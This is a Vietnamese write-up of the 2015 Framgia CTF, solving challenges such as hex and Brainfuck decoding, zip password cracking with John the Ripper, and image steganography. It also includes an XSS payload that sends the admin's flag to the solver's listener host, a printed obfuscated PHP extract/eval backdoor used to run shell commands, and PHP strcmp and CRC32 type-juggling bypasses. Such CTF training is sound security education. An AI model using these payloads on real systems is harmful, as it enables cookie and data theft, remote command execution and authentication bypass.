[Write-up] Framgia CTF - The Final Countdown (2015/08/01)

Intro

Đây là write-up phần CTF của CTF - The Final Countdown. Phần game logic, các bạn hãy liên hệ với @bs90 để được giải đáp

Survey

Đây là một survey nho nhỏ, hi vọng mọi người bớt chút thời gian đóng góp cảm tưởng yêu, thích, ghét, chê và đóng góp ý kiến cho BTC để lần CTF sau sẽ tốt hơn nữa 😄

https://docs.google.com/forms/d/1uOBLBYu7eRwDZNN02Ba_pyRR68x4uqkdnel5ymqBx94/viewform

Write-up

Easy One (50pt)

http://ctf.framgia.vn/task/51

Look closer and you'll understand. 466c61677b7965735f746869735f69735f686578797da

"Nhìn kĩ"" thì thấy cứ 2 kí tự là một biểu diễn hex của 1 chữ cái: 0x46 = 'F', 0x6c = 'l', 0x61 = 'a' ...

None Sense (50pt)

http://ctf.framgia.vn/task/62

-[------->+<]>---.--[--->+<]>.-----------.++++++.[----->+<]>.-[->+++++<]>.[--->+<]>----.+++[->+++<]>++.++++++++.+++++.--------.---[->+++<]>+..[-->+++++<]>++.------------.++++++++++.+++++++++++.+++++++++.

Đây là code BrainFuck (https://en.wikipedia.org/wiki/Brainfuck)

May the force be with you (200pt)

http://ctf.framgia.vn/task/52

Simple-mind KhanhLD has a zip file but he forgot the password. Can you help him open it ?
File: http://ctf.framgia.vn/uploads/flag.zip

Đề bài cho một file zip được đặt mật khẩu. Ta chú ý thấy có gợi ý "Simple-mind" -> có thể password sẽ đơn giản, ta hãy thử crack password bằng brute force xem sao. Bạn có thể xem hướng dẫn tại đây: http://www.cybercrimetech.com/2014/07/how-to-cracking-zip-and-rar-protected.html Ở đây mình dùng bản john-1.8.0-jumbo-1

[[email protected] ~/ctf/john-1.8.0-jumbo-1/run]$ ./zip2john ../../flag.zip > ../../zip.hashes
ver a  efh 5455  efh 7875  flag.zip->flag PKZIP Encr: 2b chk, TS_chk, cmplen=42, decmplen=30, crc=B920F5F9
[[email protected] ~/ctf/john-1.8.0-jumbo-1/run]$ cat ../../zip.hashes
flag.zip:$pkzip2$1*2*2*0*2a*1e*b920f5f9*0*3e*0*2a*b920*4d0b*5fb51169d5cf292834ae2570d34eb13e3839b258114270b4185819e3d4df6be8fea6c54a943ba05ec8cc*$/pkzip2$:::::../../flag.zip
[[email protected] ~/ctf/john-1.8.0-jumbo-1/run]$ ./john ../../zip.hashes
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
keyword          (flag.zip)
1g 0:00:00:32 DONE 3/3 (2015-08-03 09:21) 0.03078g/s 4909Kp/s 4909Kc/s 4909KC/s kievy71..keywhse
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[[email protected] ~/ctf/john-1.8.0-jumbo-1/run]$ ./john ../../zip.hashes --show
flag.zip:keyword:::::../../flag.zip

1 password hash cracked, 0 left

Vậy password của zip file là keyword. Giải nén lấy flag và submit thôi 😄

Old Glory Time (250pt)

http://ctf.framgia.vn/task/53

nc 10.0.1.43 2015 hoặc nc 0.tcp.ngrok.io 39541
[[email protected] ~/ctf]$ nc 10.0.1.43 2015

 ___   _     ___       __    ___   _      ___   _    _____  ____  ___
/ / \ | |   | | \     / /`  / / \ | |\/| | |_) | | |  | |  | |_  | |_)
\_\_/ |_|__ |_|_/     \_\_, \_\_/ |_|  | |_|   \_\_/  |_|  |_|__ |_| \

# #  ###       ###  ###
# #  #           #    #
###  ###  ###    #  ###
  #    #         #    #
  #  ###         #  ###

Result?:

Hoàn toàn là một bài lập trình thuần tuý, ta cần viết code để nhận dạng biểu thức trên màn hình, tính kết quả và trả lại server.

My BBS (250pt)

http://ctf.framgia.vn/task/54

TienNa just wrote a BBS site and he is admin. Let check it out:
http://ctf.framgia.vn:4649/index (Please use another browser to open this link)

Kiểm tra qua thấy site có lỗi XSS (https://en.wikipedia.org/wiki/Cross-site_scripting), ta có nhiểu cách để khai thác. Tham khảo: http://www.lanmaster53.com/2011/05/stealth-cookie-stealing-new-xss-technique/ . Mục tiêu của chúng ta là lấy được flag của admin (vì flag của chúng ta là flag "dỏm" 😄 ). Chèn một bài post như sau:

<script>img=new Image();img.src="http://192.168.1.46:1234/?flag="+$("#flag").text();</script>

chạy nc trên localhost, chờ admin truy cập và BINGO !

[[email protected] ~/ctf]$ nc -l 1234
GET /?flag=Your%20secret%20admin%20flag%20is:%20Flag{e4172ef59f895a44b56ccee13c1d195f} HTTP/1.1
Host: 192.168.1.46:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ctf.framgia.vn:4649/index
Connection: keep-alive

Never Give Up (200pt)

http://ctf.framgia.vn/task/55

There's something else ? http://ctf.framgia.vn/static/images/ngu.png

ngu.png

Even when we don't know what to do
WE NEVER GIVE UP
2 Corinthians 4:8

Đúng là không biết nên làm gì thật, cơ mà NEVER GIVE UP !. Kiểm tra file:

[[email protected] ~/ctf]$ file ngu.png
ngu.png: PNG image data, 500 x 313, 8-bit/color RGB, non-interlaced

Chắc là ảnh này đã được sửa đổi ? Thử tìm ảnh gốc có cùng kích cỡ rồi so sánh xem sao :-?

[[email protected] ~/ctf]$ wget http://connectandspreadlove.com/wp-content/uploads/2014/09/tumblr_m56lklxhkn1r0opwzo1_500.jpg
--2015-08-03 09:53:10--  http://connectandspreadlove.com/wp-content/uploads/2014/09/tumblr_m56lklxhkn1r0opwzo1_500.jpg
Resolving connectandspreadlove.com (connectandspreadlove.com)... 108.167.140.181
Connecting to connectandspreadlove.com (connectandspreadlove.com)|108.167.140.181|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 225429 (220K) [image/jpeg]
Saving to: ‘tumblr_m56lklxhkn1r0opwzo1_500.jpg’

100%[=====================================================================================================>] 225.429     98,2KB/s   in 2,2s

2015-08-03 09:53:12 (98,2 KB/s) - ‘tumblr_m56lklxhkn1r0opwzo1_500.jpg’ saved [225429/225429]

[[email protected] ~/ctf]$ file tumblr_m56lklxhkn1r0opwzo1_500.jpg
tumblr_m56lklxhkn1r0opwzo1_500.jpg: JPEG image data, JFIF standard 1.01
[[email protected] ~/ctf]$ compare tumblr_m56lklxhkn1r0opwzo1_500.jpg ngu.png -compose src diff.png

Xem thử file so sánh diff.png :-? A ha, QR Code 😄

diff.png

Weird PHP (200pt)

http://ctf.framgia.vn/task/56

HuyND's server got hack. After that, i found this strang phpinfo file.
Hmm, can we do something with it ?

http://ctf.framgia.vn:8081/phpinfo.php
<?php phpinfo();@extract($_REQUEST);eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TZFJk6JAFIT/S196JurQrAXEnNgVQQQFxPACxaIgNItgWb++6bEjZg4ZGZn5vdPL5+T26+2MIX/GAlycXqSeMSMuLiydvLi0SF8EX9s3I3Cvm78c89Oxr45dOHbZeWPJPxz83v7LjPiOT4qdcpZsrI8fVzynYRjA3mxgbKoPZ7P2T6tKJ4HccSVRabkoByDFh6wzJJpB7RaTuZsR62IHBNuZgl1JcXwIA6crMte17vbKubv1AUbebTUMw0g4kKaExOzUHG3bcOpuLPOmdQHKJxqQZGuxYHZVKKYMztppPnlRtMV4LPQE40qYR+gCg2VwYXdrObF63tTrq7bfirwrTmV1uwxqRa5Uu9IiREq5WBn38XEIS87JdPOxB3l/p0qJoJhXHBwbNq8EaZjxADLPmo20gF1rGvhMg8FJjcAikNa5vBOSW4P46UrbT4A+6qsyo/wo7KSc9wBXEM3qL+qI/F5IdNWlePNgMVCqPq2Gnjo/kTac3zoeB+lJlr1WdUsfPL0Y5UC0dpoW13QSbU6w9vwyfR6yhqb6xFRaFIYVDVDNy+b8idtaHp2yj9HFdVjW8htz3Y7QKbL9Pu2bqN9J4MTN78tHpX9ilbfff74A'\x29\x29\x29\x3B");echo($It($works));

http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html Thực chất đây là một PHP backdoor (cửa hậu: sau khi đã hack vào server, hacker sẽ để lại cửa hậu để vẫn có thể trở lại truy cập vào server sau đó) sử dụng extract. Đoạn code chủ yếu là:

<?php
@extract($_REQUEST);
echo($It($works));

Khi ta truyền 2 tham số Itworks vào request thì file này sẽ thực thi func tương ứng là It(works). Nếu It = 'system'works = 'ls' thì sao 😉

http://ctf.framgia.vn:8081/phpinfo.php?It=system&works=ls

ở cuối trang ta thấy có: It worksa_file_u_cant_guess_name phpinfo.php phpinfo.php

thay ls bằng cat a_file_u_cant_guess_name và 200pt đã về tay ta (haha)

PHP is Awesome One (150pt)

http://ctf.framgia.vn/task/57

http://ctf.framgia.vn:8082/simple/simple.php

Xem source code của trang, ta thấy có file source: http://ctf.framgia.vn:8082/simple/simple.phps

<?php
    $value = isset($_POST['value']) ? $_POST['value'] : '';
    $key = "CENSORED";
    $flag = ($value !== "" && !strcmp($value, $key)) ? 'CENSORED': 'bad key';
?>

Ở đây có check biến value được POST lên và dùng strcmp (http://php.net/manual/en/function.strcmp.php) để so sánh. Tuy nhiên strcmp chỉ dùng so sánh 2 xâu, nếu value là mảng thì sẽ lỗi và ta sẽ pass qua được đoạn kiểm tra. Sửa code HTML và POST giá trị bất kỳ

input name="value[]" value="" type="text">

PHP is Awesome Two (200pt)

http://ctf.framgia.vn/task/58

http://ctf.framgia.vn:8082/magic/magic.php

Tương tự:

<?php

    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    function crc32_string($v){return sprintf("%08x", crc32($v) & 0xffffffff);}

    $value = (isset($_POST['value']) && is_string($_POST['value'])) ? $_POST['value'] : '';

    $flag = ($value !== "" && $value !== "ecTmZcC" && crc32_string($value) == crc32_string('ecTmZcC')) ? 'CENSORED': 'bad value';
?>

Kiểm tra mã CRC32 của 'ecTmZcC'

>>> import binascii
>>> "%08x" % (binascii.crc32('ecTmZcC') & 0xffffffff)
'0e730435'

Đây là lỗi type-casting của PHP (https://news.ycombinator.com/item?id=9484757), khi kiểm tra 2 hash, 0e730435 sẽ được hiểu là 0 ^ 0x730435 = 0 nên ta chỉ cần tìm 1 chuỗi tương tự, bắt đầu bằng 0e, sau đó toàn là các số là sẽ bypass được. Code python để tim chuỗi (hơi xấu nhưng mà được việc 😄):

import hashlib
import random
import string
import binascii

def generate_random_string(n=7):
    return ''.join([c for i in range(n) for c in random.choice(string.letters)])

while True:
  t = generate_random_string()
  h = "%08x" % (binascii.crc32(t) & 0xffffffff)
  if h[:2] == "0e":
    if 'a' not in h[2:] and 'b' not in h[2:] and 'c' not in h[2:] and 'd' not in h[2:] and 'e' not in h[2:] and 'f' not in h[2:]:
      print t, h
      break
[[email protected] ~/ctf]$ python gen.py
FWLVJji 0e281083

Docx (200pt)

http://ctf.framgia.vn/task/59

Can you find out the flag in this document ?
http://ctf.framgia.vn/uploads/Discovering_a_Joomla_Exploit_for_Possible_Malware___Social_Engineering_and_a_PHP_BASE64_GIF_Exploit.docx

File docx thực ra cũng là một file zip.

[[email protected] ~/ctf]$ unzip Discovering_a_Joomla_Exploit_for_Possible_Malware___Social_Engineering_and_a_PHP_BASE64_GIF_Exploit.zip
Archive:  Discovering_a_Joomla_Exploit_for_Possible_Malware___Social_Engineering_and_a_PHP_BASE64_GIF_Exploit.zip
  inflating: [Content_Types].xml
   creating: _rels/
  inflating: _rels/.rels
   creating: customXml/
   creating: customXml/_rels/
  inflating: customXml/_rels/item1.xml.rels
  inflating: customXml/item1.xml
  inflating: customXml/itemProps1.xml
   creating: docProps/
  inflating: docProps/app.xml
  inflating: docProps/core.xml
   creating: word/
   creating: word/_rels/
  inflating: word/_rels/document.xml.rels
  inflating: word/document.xml
  inflating: word/endnotes.xml
  inflating: word/fontTable.xml
  inflating: word/footer1.xml
  inflating: word/footer2.xml
  inflating: word/footer3.xml
  inflating: word/footnotes.xml
  inflating: word/header1.xml
  inflating: word/header2.xml
  inflating: word/header3.xml
  inflating: word/numbering.xml
  inflating: word/settings.xml
  inflating: word/styles.xml
  inflating: word/stylesWithEffects.xml
   creating: word/theme/
  inflating: word/theme/theme1.xml
  inflating: word/webSettings.xml

Flag ở trong file word/theme/theme1.xml

Can You Recognize It ? (250pt)

http://ctf.framgia.vn/task/60

Bot can do it. Can you ? http://ctf.framgia.vn:1990/index

Một task về OCR. Nhiệm vụ của bạn là nhận dạng file ảnh, tính kết quả và POST lại lên server, mỗi câu ko làm quá timeout là 3s

For Rubyist (350pt)

http://ctf.framgia.vn/task/61

File : http://ctf.framgia.vn/uploads/ctf.rvm

Code Ruby sau khi compile ra InstructionSequence của RubyVM (http://ruby-doc.org/core-2.0.0/RubyVM/InstructionSequence.html). Các làm duy nhất đó là thử sai và "đọc code". Hi vọng sẽ có bạn làm được để mình thêm link vào write-up này 😄

Final

Good Game ! Well Played !

ctf_11.png